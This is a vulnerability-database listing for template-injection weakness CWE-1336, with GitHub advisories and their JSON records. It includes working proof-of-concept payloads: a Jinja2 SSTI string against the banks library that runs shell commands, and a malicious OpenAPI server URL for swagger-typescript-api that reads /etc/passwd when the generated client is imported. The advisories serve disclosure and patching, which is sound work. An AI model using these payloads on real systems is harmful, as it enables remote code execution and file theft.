Common Weakness Enumeration

CWE-1336

Allowed

Improper Neutralization of Special Elements Used in a Template Engine

Abstraction: Base · Status: Incomplete

The product uses a template engine to insert or process externally-influenced input, but it does not neutralize or incorrectly neutralizes special elements or syntax that can be interpreted as template expressions or other code directives when processed by the engine.

398 vulnerabilities reference this CWE, most recent first.

GHSA-GPHH-9Q3H-JGPP

Vulnerability from github – Published: 2026-05-08 20:36 – Updated: 2026-06-08 23:29
VLAI
Summary
banks has Critical Remote Code Execution (RCE) via Jinja2 SSTI
Details

Summary

banks <= 2.4.1 uses jinja2.Environment() (unsandboxed) to render prompt templates. Applications that pass user-supplied strings as the template argument to Prompt() are vulnerable to Server-Side Template Injection (SSTI), which can lead to Remote Code Execution (RCE) on the host system.

This is a vulnerability in how banks initializes its Jinja2 environment — not in Jinja2 itself.

Vulnerable Code

src/banks/env.py — the global Jinja2 environment is created without sandboxing:

env = Environment(
    autoescape=select_autoescape(enabled_extensions=("html", "xml"), default_for_string=False),
    ...
)

Attack Scenario

An application that stores prompt templates in a database, accepts them via an API, or loads them from a user-supplied config file and passes them to Prompt() is vulnerable. For example:

# User-controlled input reaches Prompt()
user_input = "{{ self.__init__.__globals__.__builtins__.__import__('os').popen('id').read() }}"
p = Prompt(user_input)
p.text()  # Executes arbitrary command on the host

Proof of Concept

Setup:

pip install banks==2.4.1

PoC script:

from banks import Prompt

payload = "{{ self.__init__.__globals__.__builtins__.__import__('os').popen('id').read() }}"
p = Prompt(payload)
result = p.text()
print(f"[+] Output: {result}")

Confirmed output:

[+] Output: uid=1000(ak) gid=1000(ak) groups=1000(ak),27(sudo),...

text

**File-write proof:**
```python
from banks import Prompt

p = Prompt("{{ self.__init__.__globals__.__builtins__.__import__('os').popen('echo POC > /tmp/rce_banks_exec').read() }}")
p.text()
ls -l /tmp/rce_banks_exec
# -rw-rw-r-- 1 ak ak 4 Apr 27 15:36 /tmp/rce_banks_exec

Impact

Applications that allow end-users to supply or customize prompt templates are at risk of full Remote Code Execution, including arbitrary command execution, data exfiltration, and server compromise.

Fix

Fixed in banks 2.4.2 (PR #74) by switching to jinja2.sandbox.SandboxedEnvironment, which blocks the dunder attribute traversal chain this exploit relies on.

Developers on banks <= 2.4.1 should upgrade to 2.4.2 and avoid passing untrusted user input as the template argument to Prompt().

Resources

  • Fix: https://github.com/masci/banks/pull/74
  • CVE-2024-41950 (Haystack — identical root cause, CVSS 7.5)
  • CVE-2025-25362 (spacy-llm — identical root cause)
  • CWE-1336: Improper Neutralization of Special Elements in a Template Engine
Show details on source website

{
  "affected": [
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 2.4.1"
      },
      "package": {
        "ecosystem": "PyPI",
        "name": "banks"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "2.4.2"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-44209"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-1336"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-05-08T20:36:22Z",
    "nvd_published_at": "2026-05-26T21:16:37Z",
    "severity": "HIGH"
  },
  "details": "## Summary\n\n`banks \u003c= 2.4.1` uses `jinja2.Environment()` (unsandboxed) to render prompt templates. Applications that pass user-supplied strings as the template argument to `Prompt()` are vulnerable to Server-Side Template Injection (SSTI), which can lead to Remote Code Execution (RCE) on the host system.\n\nThis is a vulnerability in how `banks` initializes its Jinja2 environment \u2014 not in Jinja2 itself.\n\n## Vulnerable Code\n\n`src/banks/env.py` \u2014 the global Jinja2 environment is created without sandboxing:\n\n```python\nenv = Environment(\n    autoescape=select_autoescape(enabled_extensions=(\"html\", \"xml\"), default_for_string=False),\n    ...\n)\n```\n\n## Attack Scenario\n\nAn application that stores prompt templates in a database, accepts them via an API, or loads them from a user-supplied config file and passes them to `Prompt()` is vulnerable. For example:\n\n```python\n# User-controlled input reaches Prompt()\nuser_input = \"{{ self.__init__.__globals__.__builtins__.__import__(\u0027os\u0027).popen(\u0027id\u0027).read() }}\"\np = Prompt(user_input)\np.text()  # Executes arbitrary command on the host\n```\n\n## Proof of Concept\n\n**Setup:**\n```bash\npip install banks==2.4.1\n```\n\n**PoC script:**\n```python\nfrom banks import Prompt\n\npayload = \"{{ self.__init__.__globals__.__builtins__.__import__(\u0027os\u0027).popen(\u0027id\u0027).read() }}\"\np = Prompt(payload)\nresult = p.text()\nprint(f\"[+] Output: {result}\")\n```\n\n**Confirmed output:**\n```\n[+] Output: uid=1000(ak) gid=1000(ak) groups=1000(ak),27(sudo),...\n\ntext\n\n**File-write proof:**\n```python\nfrom banks import Prompt\n\np = Prompt(\"{{ self.__init__.__globals__.__builtins__.__import__(\u0027os\u0027).popen(\u0027echo POC \u003e /tmp/rce_banks_exec\u0027).read() }}\")\np.text()\n```\n```bash\nls -l /tmp/rce_banks_exec\n# -rw-rw-r-- 1 ak ak 4 Apr 27 15:36 /tmp/rce_banks_exec\n```\n\n## Impact\n\nApplications that allow end-users to supply or customize prompt templates are at risk of full Remote Code Execution, including arbitrary command execution, data exfiltration, and server compromise.\n\n## Fix\n\nFixed in `banks 2.4.2` (PR #74) by switching to `jinja2.sandbox.SandboxedEnvironment`, which blocks the dunder attribute traversal chain this exploit relies on.\n\nDevelopers on `banks \u003c= 2.4.1` should upgrade to `2.4.2` and avoid passing untrusted user input as the template argument to `Prompt()`.\n\n## Resources\n- Fix: https://github.com/masci/banks/pull/74\n- CVE-2024-41950 (Haystack \u2014 identical root cause, CVSS 7.5)\n- CVE-2025-25362 (spacy-llm \u2014 identical root cause)\n- CWE-1336: Improper Neutralization of Special Elements in a Template Engine",
  "id": "GHSA-gphh-9q3h-jgpp",
  "modified": "2026-06-08T23:29:16Z",
  "published": "2026-05-08T20:36:22Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/masci/banks/security/advisories/GHSA-gphh-9q3h-jgpp"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-44209"
    },
    {
      "type": "WEB",
      "url": "https://github.com/masci/banks/pull/74"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/masci/banks"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:U/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ],
  "summary": "banks has Critical Remote Code Execution (RCE) via Jinja2 SSTI"
}

GHSA-GQHF-WF6P-PJV9

Vulnerability from github – Published: 2026-07-29 15:31 – Updated: 2026-07-29 15:31
VLAI
Details

A Server-Side Template Injection (SSTI) vulnerability was identified in the mail template functionality of the Axway SecureTransport product in version 5.5-20260326. This flaw allows an attacker with admin privileges to inject arbitrary Java code expressions, which are executed server-side when the template is rendered (i.e., during email sending). Successful exploitation of this flaw allows an attacker to execute arbitrary code on the server that results in full host compromise.

This issue affects all Axway SecureTransport versions prior 5.5-20260528 update.

Show details on source website

{
  "affected": [],
  "aliases": [
    "CVE-2026-9177"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-1336"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2026-07-29T14:16:35Z",
    "severity": "CRITICAL"
  },
  "details": "A Server-Side Template Injection (SSTI) vulnerability was identified \nin the mail template functionality of the Axway SecureTransport product in version 5.5-20260326. This \nflaw \nallows an attacker with admin privileges to inject arbitrary Java code expressions, which are \nexecuted server-side when the template is rendered (i.e., during email \nsending). Successful exploitation of this flaw allows an attacker to \nexecute \narbitrary code on the server that results in full host compromise.\n\n\n\nThis issue affects all Axway SecureTransport versions prior 5.5-20260528 update.",
  "id": "GHSA-gqhf-wf6p-pjv9",
  "modified": "2026-07-29T15:31:12Z",
  "published": "2026-07-29T15:31:12Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-9177"
    },
    {
      "type": "WEB",
      "url": "https://docs.hackjiji.org/blog/cve-2026-9177-ssti-in-securetransport-mft-gateway"
    },
    {
      "type": "WEB",
      "url": "https://support.axway.com/news/4882/lang/en"
    },
    {
      "type": "WEB",
      "url": "https://www.toreon.com/CVE-2026-9177"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:H/UI:N/VC:H/VI:H/VA:H/SC:H/SI:H/SA:H/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X",
      "type": "CVSS_V4"
    }
  ]
}

GHSA-GXR7-RWPM-WRQM

Vulnerability from github – Published: 2022-05-24 19:14 – Updated: 2022-05-24 19:14
VLAI
Details

Affected versions of Atlassian Jira Server or Data Center using the Jira Service Management addon allow remote attackers with JIRA Administrators access to execute arbitrary Java code via a server-side template injection vulnerability in the Email Template feature. The affected versions of Jira Server or Data Center are before version 8.13.12, and from version 8.14.0 before 8.19.1.

Show details on source website

{
  "affected": [],
  "aliases": [
    "CVE-2021-39128"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-1336",
      "CWE-74",
      "CWE-94"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2021-09-16T06:15:00Z",
    "severity": "HIGH"
  },
  "details": "Affected versions of Atlassian Jira Server or Data Center using the Jira Service Management addon allow remote attackers with JIRA Administrators access to execute arbitrary Java code via a server-side template injection vulnerability in the Email Template feature. The affected versions of Jira Server or Data Center are before version 8.13.12, and from version 8.14.0 before 8.19.1.",
  "id": "GHSA-gxr7-rwpm-wrqm",
  "modified": "2022-05-24T19:14:53Z",
  "published": "2022-05-24T19:14:53Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2021-39128"
    },
    {
      "type": "WEB",
      "url": "https://jira.atlassian.com/browse/JRASERVER-72804"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-H53W-2CQ3-CJ2P

Vulnerability from github – Published: 2024-11-18 15:33 – Updated: 2026-04-01 18:32
VLAI
Details

Improper Neutralization of Special Elements Used in a Template Engine vulnerability in Saso Nikolov Event Tickets with Ticket Scanner allows Server Side Include (SSI) Injection.This issue affects Event Tickets with Ticket Scanner: from n/a through 2.3.11.

Show details on source website

{
  "affected": [],
  "aliases": [
    "CVE-2024-52427"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-1336",
      "CWE-82",
      "CWE-94"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2024-11-18T15:15:06Z",
    "severity": "CRITICAL"
  },
  "details": "Improper Neutralization of Special Elements Used in a Template Engine vulnerability in Saso Nikolov Event Tickets with Ticket Scanner allows Server Side Include (SSI) Injection.This issue affects Event Tickets with Ticket Scanner: from n/a through 2.3.11.",
  "id": "GHSA-h53w-2cq3-cj2p",
  "modified": "2026-04-01T18:32:25Z",
  "published": "2024-11-18T15:33:21Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2024-52427"
    },
    {
      "type": "WEB",
      "url": "https://patchstack.com/database/Wordpress/Plugin/event-tickets-with-ticket-scanner/vulnerability/wordpress-event-tickets-with-ticket-scanner-plugin-2-3-11-remote-code-execution-rce-vulnerability?_s_id=cve"
    },
    {
      "type": "WEB",
      "url": "https://patchstack.com/database/vulnerability/event-tickets-with-ticket-scanner/wordpress-event-tickets-with-ticket-scanner-plugin-2-3-11-remote-code-execution-rce-vulnerability?_s_id=cve"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-H92G-3XC3-WW2R

Vulnerability from github – Published: 2025-06-07 15:30 – Updated: 2025-06-17 21:41
VLAI
Summary
Skyvern has a Jinja runtime leak
Details

Skyvern through 0.2.0 has a Jinja runtime leak in sdk/workflow/models/block.py.

Show details on source website

{
  "affected": [
    {
      "package": {
        "ecosystem": "PyPI",
        "name": "skyvern"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "last_affected": "0.2.0"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2025-49619"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-1336"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2025-06-09T13:04:44Z",
    "nvd_published_at": "2025-06-07T14:15:21Z",
    "severity": "HIGH"
  },
  "details": "Skyvern through 0.2.0 has a Jinja runtime leak in sdk/workflow/models/block.py.",
  "id": "GHSA-h92g-3xc3-ww2r",
  "modified": "2025-06-17T21:41:21Z",
  "published": "2025-06-07T15:30:18Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2025-49619"
    },
    {
      "type": "WEB",
      "url": "https://github.com/Skyvern-AI/skyvern/commit/db856cd8433a204c8b45979c70a4da1e119d949d"
    },
    {
      "type": "WEB",
      "url": "https://cristibtz.blog/posts/CVE-2025-49619"
    },
    {
      "type": "WEB",
      "url": "https://cristibtz.github.io/posts/CVE-2025-49619"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/Skyvern-AI/skyvern"
    },
    {
      "type": "WEB",
      "url": "https://www.exploit-db.com/exploits/52335"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:L/A:N",
      "type": "CVSS_V3"
    }
  ],
  "summary": "Skyvern has a Jinja runtime leak"
}

GHSA-H9VV-8Q8M-V6M6

Vulnerability from github – Published: 2024-04-28 00:30 – Updated: 2024-04-28 00:30
VLAI
Details

An issue was discovered in Logpoint before 7.1.1. Template injection was seen in the search template. The search template uses jinja templating for generating dynamic data. This could be abused to achieve code execution. Any user with access to create a search template can leverage this to execute code as the loginspect user.

Show details on source website

{
  "affected": [],
  "aliases": [
    "CVE-2022-48684"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-1336",
      "CWE-78"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2024-04-27T23:15:06Z",
    "severity": "HIGH"
  },
  "details": "An issue was discovered in Logpoint before 7.1.1. Template injection was seen in the search template. The search template uses jinja templating for generating dynamic data. This could be abused to achieve code execution. Any user with access to create a search template can leverage this to execute code as the loginspect user.",
  "id": "GHSA-h9vv-8q8m-v6m6",
  "modified": "2024-04-28T00:30:23Z",
  "published": "2024-04-28T00:30:23Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2022-48684"
    },
    {
      "type": "WEB",
      "url": "https://servicedesk.logpoint.com/hc/en-us/articles/7201134201885-Template-injection-in-Search-Template"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:H/UI:R/S:C/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-H9VW-G3H9-6JVW

Vulnerability from github – Published: 2024-10-16 15:32 – Updated: 2026-04-01 18:32
VLAI
Details

Improper Neutralization of Special Elements Used in a Template Engine vulnerability in Supsystic Contact Form by Supsystic allows Command Injection.This issue affects Contact Form by Supsystic: from n/a through 1.7.28.

Show details on source website

{
  "affected": [],
  "aliases": [
    "CVE-2024-48042"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-1336",
      "CWE-82"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2024-10-16T13:15:13Z",
    "severity": "CRITICAL"
  },
  "details": "Improper Neutralization of Special Elements Used in a Template Engine vulnerability in Supsystic Contact Form by Supsystic allows Command Injection.This issue affects Contact Form by Supsystic: from n/a through 1.7.28.",
  "id": "GHSA-h9vw-g3h9-6jvw",
  "modified": "2026-04-01T18:32:01Z",
  "published": "2024-10-16T15:32:07Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2024-48042"
    },
    {
      "type": "WEB",
      "url": "https://patchstack.com/database/Wordpress/Plugin/contact-form-by-supsystic/vulnerability/wordpress-contact-form-by-supsystic-plugin-1-7-28-remote-code-execution-rce-vulnerability?_s_id=cve"
    },
    {
      "type": "WEB",
      "url": "https://patchstack.com/database/vulnerability/contact-form-by-supsystic/wordpress-contact-form-by-supsystic-plugin-1-7-28-remote-code-execution-rce-vulnerability?_s_id=cve"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:C/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-HC98-XXM8-JFGJ

Vulnerability from github – Published: 2025-12-15 18:30 – Updated: 2025-12-16 21:30
VLAI
Details

An SSTI (Server-Side Template Injection) vulnerability exists in the get_contract_template method of Frappe ERPNext through 15.89.0. The function renders attacker-controlled Jinja2 templates (contract_terms) using frappe.render_template() with a user-supplied context (doc). Although Frappe uses a custom SandboxedEnvironment, several dangerous globals such as frappe.db.sql are still available in the execution context via get_safe_globals(). An authenticated attacker with access to create or modify a Contract Template can inject arbitrary Jinja expressions into the contract_terms field, resulting in server-side code execution within a restricted but still unsafe context. This vulnerability can be used to leak database information.

Show details on source website

{
  "affected": [],
  "aliases": [
    "CVE-2025-66435"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-1336",
      "CWE-918",
      "CWE-94"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2025-12-15T17:15:53Z",
    "severity": "MODERATE"
  },
  "details": "An SSTI (Server-Side Template Injection) vulnerability exists in the get_contract_template method of Frappe ERPNext through 15.89.0. The function renders attacker-controlled Jinja2 templates (contract_terms) using frappe.render_template() with a user-supplied context (doc). Although Frappe uses a custom SandboxedEnvironment, several dangerous globals such as frappe.db.sql are still available in the execution context via get_safe_globals(). An authenticated attacker with access to create or modify a Contract Template can inject arbitrary Jinja expressions into the contract_terms field, resulting in server-side code execution within a restricted but still unsafe context. This vulnerability can be used to leak database information.",
  "id": "GHSA-hc98-xxm8-jfgj",
  "modified": "2025-12-16T21:30:52Z",
  "published": "2025-12-15T18:30:40Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2025-66435"
    },
    {
      "type": "WEB",
      "url": "https://iamanc.github.io/post/erpnext-ssti-bug-2"
    },
    {
      "type": "WEB",
      "url": "https://www.notion.so/SSTI-bug-2-239e6086eadc80878e8fcc7b6c26a584?source=copy_link"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:N/A:N",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-HQJ5-CW9F-RX67

Vulnerability from github – Published: 2026-07-29 14:26 – Updated: 2026-07-29 14:26
VLAI
Summary
swagger-typescript-api vulnerable to code injection via unescaped `servers[0].url` in fetch http-client template
Details

Summary

swagger-typescript-api interpolates servers[0].url directly into a TypeScript class-body field initializer of the generated fetch HttpClient (templates/base/http-clients/fetch-http-client.ejs:75), without any escaping. A malicious URL containing a " closes the string literal that initializes public baseUrl and exposes the surrounding class body to injection. The most direct exploit declares a new static field whose initializer is an async IIFE — TypeScript evaluates static field initializers at class definition time, which is at module load. A consumer who imports the generated client (or anything that transitively imports it) executes the injected code with no further interaction — no instantiation, no method call, no use of the baseUrl. The attacker controls the OpenAPI spec; the victim is whoever runs the generator and imports the result.

This is the highest-impact sink in the package: the trigger requires only a bare import of the generated module.

Details

createApiConfig in src/code-gen-process.ts:591 sets the templated baseUrl from the spec without sanitization:

return {
  ...
  baseUrl: serverUrl,     // <-- serverUrl = swaggerSchema.servers[0].url, raw
  ...
};

The fetch http-client template (templates/base/http-clients/fetch-http-client.ejs:75) then interpolates that value into a TS string literal that initializes a public class-body field of the generated HttpClient:

export class HttpClient<SecurityDataType = unknown> {
    public baseUrl: string = "<%~ apiConfig.baseUrl %>";
    private securityData: SecurityDataType | null = null;
    ...
}

<%~ %> is Eta's raw, unescaped interpolation. The codebase's only escape function — escapeJSDocContent (src/schema-parser/schema-formatters.ts:127) — only replaces */ and is not applied to this path.

TypeScript class-body grammar permits any number of field declarations and static blocks between { and }. A spec value of the form:

URL"; static _pwn = (IIFE)(); public x: string = "

produces the following class body:

export class HttpClient<SecurityDataType = unknown> {
  public baseUrl: string = "URL";
  static _pwn = (IIFE)();    // <-- static field initializer
  public x: string = "";
  private securityData: SecurityDataType | null = null;
  ...
}

The static _pwn = (IIFE)() declaration's initializer is evaluated at class definition — i.e. when the TS class declaration is processed, which is at the moment the generated module is imported. The trailing public x: string = " reopens a string that the template's own closing " terminates, keeping the file syntactically valid TypeScript.

The same Api class (in default/api.ejs) extends HttpClient. Importing the generated module evaluates the HttpClient class declaration during module initialization — no new HttpClient(), no new Api(), no method call. Importing anything that transitively depends on the generated module is sufficient.

PoC

Self-contained reproducer (run.sh runs end-to-end: install pinned package → generate from control + payload → bundle with esbuild → bare-import → check canary). Tested on swagger-typescript-api@13.12.1 and Node v24.11.1.

Malicious servers[0].url (literal string, JSON-encoded in the spec below):

https://api.example.com"; static _pwn = (async () => { try { const fs = await import('node:fs'); const data = fs.readFileSync('/etc/passwd', 'utf8'); fs.writeFileSync('/tmp/sta_canary', data); } catch (e) {} })(); public x: string = "

Minimal payload spec:

{
  "openapi": "3.0.0",
  "info": { "title": "FetchPayloadAPI", "version": "1.0.0" },
  "servers": [
    {
      "url": "https://api.example.com\"; static _pwn = (async () => { try { const fs = await import('node:fs'); const data = fs.readFileSync('/etc/passwd', 'utf8'); fs.writeFileSync('/tmp/sta_canary', data); } catch (e) {} })(); public x: string = \""
    }
  ],
  "paths": {
    "/ping": {
      "get": {
        "operationId": "ping",
        "responses": { "200": { "description": "OK" } }
      }
    }
  }
}

Steps:

npm install swagger-typescript-api@13.12.1 esbuild
node -e "import('swagger-typescript-api').then(m => m.generateApi({
  name: 'Api.ts', output: process.cwd() + '/out',
  input: process.cwd() + '/payload-spec.json', httpClientType: 'fetch'
}))"
npx esbuild out/Api.ts --bundle --format=esm --platform=node \
  --tsconfig-raw='{}' --outfile=out/Api.bundle.mjs
rm -f /tmp/sta_canary
node --input-type=module -e "await import('./out/Api.bundle.mjs'); await new Promise(r => setTimeout(r, 300));"
ls -la /tmp/sta_canary && cat /tmp/sta_canary

Generated out/Api.ts (HttpClient class body — payload, Biome-formatted):

export class HttpClient<SecurityDataType = unknown> {
  public baseUrl: string = "https://api.example.com";
  static _pwn = (async () => {
    try {
      const fs = await import("node:fs");
      const data = fs.readFileSync("/etc/passwd", "utf8");
      fs.writeFileSync("/tmp/sta_canary", data);
    } catch (e) {}
  })();
  public x: string = "";
  private securityData: SecurityDataType | null = null;
  ...
}

static _pwn = (async () => { ... })() is a real TypeScript static class field declaration — Biome only reformats syntactically valid TS, so the multi-line indented output proves it parsed. The IIFE evaluates when the class declaration is processed, schedules fs.readFileSync('/etc/passwd'), and writes the exfiltrated contents to /tmp/sta_canary.

Result: after a bare await import('./out/Api.bundle.mjs') (no instantiation, no method call), /tmp/sta_canary contains the full /etc/passwd of the importing process (1470 bytes on a typical Linux host). Control spec (servers[0].url: "https://api.example.com") generates a clean public baseUrl: string = "https://api.example.com"; and writes no canary.

Impact

Type: Code injection in generated output (CWE-94) / template-engine injection (CWE-1336).

Affected use cases: any developer or pipeline that runs swagger-typescript-api against an OpenAPI spec they did not author entirely:

  • sta generate --url https://attacker.example/openapi.json — a public, third-party, or attacker-hosted spec.
  • A CI/CD pipeline regenerating fetch-based clients from a vendor / partner spec on each build.
  • A multi-tenant SaaS that generates per-tenant clients from tenant-supplied specs.
  • Any project pinned to a spec file that a contributor can modify via PR.

Lifecycle: the injected static initializer fires at module load — the moment the generated module is imported. A consumer does not need to instantiate HttpClient, does not need to construct Api, does not need to call any API method, does not need to read the baseUrl. Importing the generated module (or anything that transitively imports it) is sufficient. This is the absolute minimum interaction a consumer can have with a generated client.

Privilege: the IIFE runs with the full privileges of the importing process — read any file the importer can read, write any file, exfiltrate secrets, spawn child processes, make network requests, etc.

Suggested fix: sanitize apiConfig.baseUrl once at the source in src/code-gen-process.ts:591:

// in createApiConfig
baseUrl: escapeJsStringLiteral(serverUrl),

where escapeJsStringLiteral produces a properly-escaped JS string literal — at minimum escaping ", \, \n, \r, \t, \b, \f, \v, \0, and the line/paragraph separators / . JSON.stringify(serverUrl).slice(1, -1) is a one-line acceptable implementation. This single change also closes the axios sibling sink at templates/base/http-clients/axios-http-client.ejs:71 (filed separately), since both templates read the same apiConfig.baseUrl value.

If a template-side fix is preferred instead, both templates/base/http-clients/fetch-http-client.ejs:75 and templates/base/http-clients/axios-http-client.ejs:71 need their <%~ apiConfig.baseUrl %> swapped for the escaped form — fixing only one leaves the other exploitable.

Submitted by: Hamza Haroon (thegr1ffyn)

Show details on source website

{
  "affected": [
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 13.12.1"
      },
      "package": {
        "ecosystem": "npm",
        "name": "swagger-typescript-api"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "13.12.2"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-54662"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-1336",
      "CWE-74",
      "CWE-94"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-07-29T14:26:38Z",
    "nvd_published_at": null,
    "severity": "HIGH"
  },
  "details": "### Summary\n\n`swagger-typescript-api` interpolates `servers[0].url` directly into a TypeScript class-body field initializer of the generated **fetch** `HttpClient` (`templates/base/http-clients/fetch-http-client.ejs:75`), without any escaping. A malicious URL containing a `\"` closes the string literal that initializes `public baseUrl` and exposes the surrounding *class body* to injection. The most direct exploit declares a new `static` field whose initializer is an async IIFE \u2014 TypeScript evaluates static field initializers at **class definition time**, which is at module load. A consumer who imports the generated client (or anything that transitively imports it) executes the injected code with no further interaction \u2014 no instantiation, no method call, no use of the baseUrl. The attacker controls the OpenAPI spec; the victim is whoever runs the generator and imports the result.\n\nThis is the highest-impact sink in the package: the trigger requires only a bare `import` of the generated module.\n\n### Details\n\n`createApiConfig` in `src/code-gen-process.ts:591` sets the templated `baseUrl` from the spec without sanitization:\n\n```ts\nreturn {\n  ...\n  baseUrl: serverUrl,     // \u003c-- serverUrl = swaggerSchema.servers[0].url, raw\n  ...\n};\n```\n\nThe fetch http-client template (`templates/base/http-clients/fetch-http-client.ejs:75`) then interpolates that value into a TS string literal that initializes a public class-body field of the generated `HttpClient`:\n\n```ejs\nexport class HttpClient\u003cSecurityDataType = unknown\u003e {\n    public baseUrl: string = \"\u003c%~ apiConfig.baseUrl %\u003e\";\n    private securityData: SecurityDataType | null = null;\n    ...\n}\n```\n\n`\u003c%~ %\u003e` is Eta\u0027s raw, unescaped interpolation. The codebase\u0027s only escape function \u2014 `escapeJSDocContent` (`src/schema-parser/schema-formatters.ts:127`) \u2014 only replaces `*/` and is not applied to this path.\n\nTypeScript class-body grammar permits any number of field declarations and `static` blocks between `{` and `}`. A spec value of the form:\n\n```\nURL\"; static _pwn = (IIFE)(); public x: string = \"\n```\n\nproduces the following class body:\n\n```ts\nexport class HttpClient\u003cSecurityDataType = unknown\u003e {\n  public baseUrl: string = \"URL\";\n  static _pwn = (IIFE)();    // \u003c-- static field initializer\n  public x: string = \"\";\n  private securityData: SecurityDataType | null = null;\n  ...\n}\n```\n\nThe `static _pwn = (IIFE)()` declaration\u0027s initializer is evaluated at **class definition** \u2014 i.e. when the TS class declaration is processed, which is at the moment the generated module is imported. The trailing `public x: string = \"` reopens a string that the template\u0027s own closing `\"` terminates, keeping the file syntactically valid TypeScript.\n\nThe same `Api` class (in `default/api.ejs`) extends `HttpClient`. Importing the generated module evaluates the `HttpClient` class declaration during module initialization \u2014 no `new HttpClient()`, no `new Api()`, no method call. Importing anything that transitively depends on the generated module is sufficient.\n\n### PoC\n\nSelf-contained reproducer (`run.sh` runs end-to-end: install pinned package \u2192 generate from control + payload \u2192 bundle with esbuild \u2192 bare-import \u2192 check canary). Tested on `swagger-typescript-api@13.12.1` and Node `v24.11.1`.\n\n**Malicious `servers[0].url`** (literal string, JSON-encoded in the spec below):\n\n```\nhttps://api.example.com\"; static _pwn = (async () =\u003e { try { const fs = await import(\u0027node:fs\u0027); const data = fs.readFileSync(\u0027/etc/passwd\u0027, \u0027utf8\u0027); fs.writeFileSync(\u0027/tmp/sta_canary\u0027, data); } catch (e) {} })(); public x: string = \"\n```\n\n**Minimal payload spec:**\n\n```json\n{\n  \"openapi\": \"3.0.0\",\n  \"info\": { \"title\": \"FetchPayloadAPI\", \"version\": \"1.0.0\" },\n  \"servers\": [\n    {\n      \"url\": \"https://api.example.com\\\"; static _pwn = (async () =\u003e { try { const fs = await import(\u0027node:fs\u0027); const data = fs.readFileSync(\u0027/etc/passwd\u0027, \u0027utf8\u0027); fs.writeFileSync(\u0027/tmp/sta_canary\u0027, data); } catch (e) {} })(); public x: string = \\\"\"\n    }\n  ],\n  \"paths\": {\n    \"/ping\": {\n      \"get\": {\n        \"operationId\": \"ping\",\n        \"responses\": { \"200\": { \"description\": \"OK\" } }\n      }\n    }\n  